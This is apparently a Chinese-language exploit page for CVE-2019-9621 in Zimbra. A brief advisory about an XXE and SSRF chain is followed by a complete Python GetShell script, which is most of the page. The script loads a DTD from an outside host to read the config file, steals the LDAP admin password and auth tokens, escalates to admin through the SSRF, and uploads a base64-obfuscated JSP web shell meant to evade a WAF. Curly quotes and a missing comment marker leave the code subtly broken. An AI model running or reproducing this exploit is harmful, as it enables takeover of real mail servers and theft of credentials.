CVE-2019-9621 Zimbra<8.8.11 GetShell Exploit

发现时间	2019年03月18日
威胁目标	采用Zimbra邮件系统的企业
主要风险	远程代码执行
攻击入口	localconfig.xml 配置文件
使用漏洞	CVE-2019-9621
受影响应用	ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。
已知影响	导致服务器信息泄露
威胁程度	高

漏洞描述：

当 Zimbra 存在像任意文件读取、XXE（xml外部实体注入）这种漏洞时，攻击者可以利用此漏洞读取 localconfig.xml配置文件，获取到 zimbra admin ldap password，并通过 7071 admin 端口进行 SOAP AuthRequest 认证，得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。

影响版本：

ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说：


Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。

Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。

GetShell代码

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
print(base_url)
#dtd file url
dtd_url="https://k8gege.github.io/zimbra.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
     <!ENTITY % dtd SYSTEM "{dtd}">
     %dtd;
     %all;
     ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
 <Request>
     <EMailAddress>aaaaa</EMailAddress>
     <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
 </Request>
</Autodiscover>""".format(dtd=dtd_url)



#XXE stage
headers = {
    “Content-Type”:”application/xml”
}
print(“[*] Get User Name/Password By XXE “)
r = requests.post(base_url+”/Autodiscover/Autodiscover.xml”,data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if ‘response schema not available’ not in r.text:
    print(“have no xxe”)
    exit()
#low_token Stage
import re
pattern_name = re.compile(r”<key name=("|”)zimbra_user("|”)>\n.?<value>(.?)</value>”)
pattern_password = re.compile(r”<key name=("|”)zimbra_ldap_password("|”)>\n.?<value>(.?)</value>”)
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)
auth_body=”””<soap:Envelope xmlns:soap=”http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns=”urn:zimbra”>
           <userAgent name=”ZimbraWebClient - SAF3 (Win)” version=”5.0.15_GA_2851.RHEL5_64”/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns=”{xmlns}”>
        <account by=”adminName”>{username}</account>
        <password>{password}</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>
“””
print(“[*] Get Low Privilege Auth Token”)
r=requests.post(base_url+”/service/soap”,data=auth_body.format(xmlns=”urn:zimbraAccount”,username=username,password=password),verify=False)
pattern_auth_token=re.compile(r”<authToken>(.*?)</authToken>”)
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
SSRF+Get Admin_Token Stage
headers[“Cookie”]=”ZM_ADMIN_AUTH_TOKEN=”+low_priv_token+”;”
headers[“Host”]=”foo:7071”
print(“[*] Get Admin  Auth Token By SSRF”)
r = requests.post(base_url+”/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print(“ADMIN_TOKEN:”+admin_token)
f = {
    ‘filename1’:(None,”whocare”,None),
    ‘clientFile’:(filename,fileContent,”text/plain”),
    ‘requestId’:(None,”12”,None),
}
headers ={
    “Cookie”:”ZM_ADMIN_AUTH_TOKEN=”+admin_token+”;”
}
print(“[] Uploading file”)
r = requests.post(base_url+”/service/extension/clientUploader/upload”,files=f,headers=headers,verify=False)
#print(r.text)
print(“Shell: “+base_url+”/downloads/“+filename)
#print(“Connect "shell.jsp" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)”)
print(“[] Request Result:”)
s = requests.session()
r = s.get(base_url+”/downloads/“+filename,verify=False,headers=headers)
#print(r.text)
print(“May need cookie:”)
print(headers[‘Cookie’])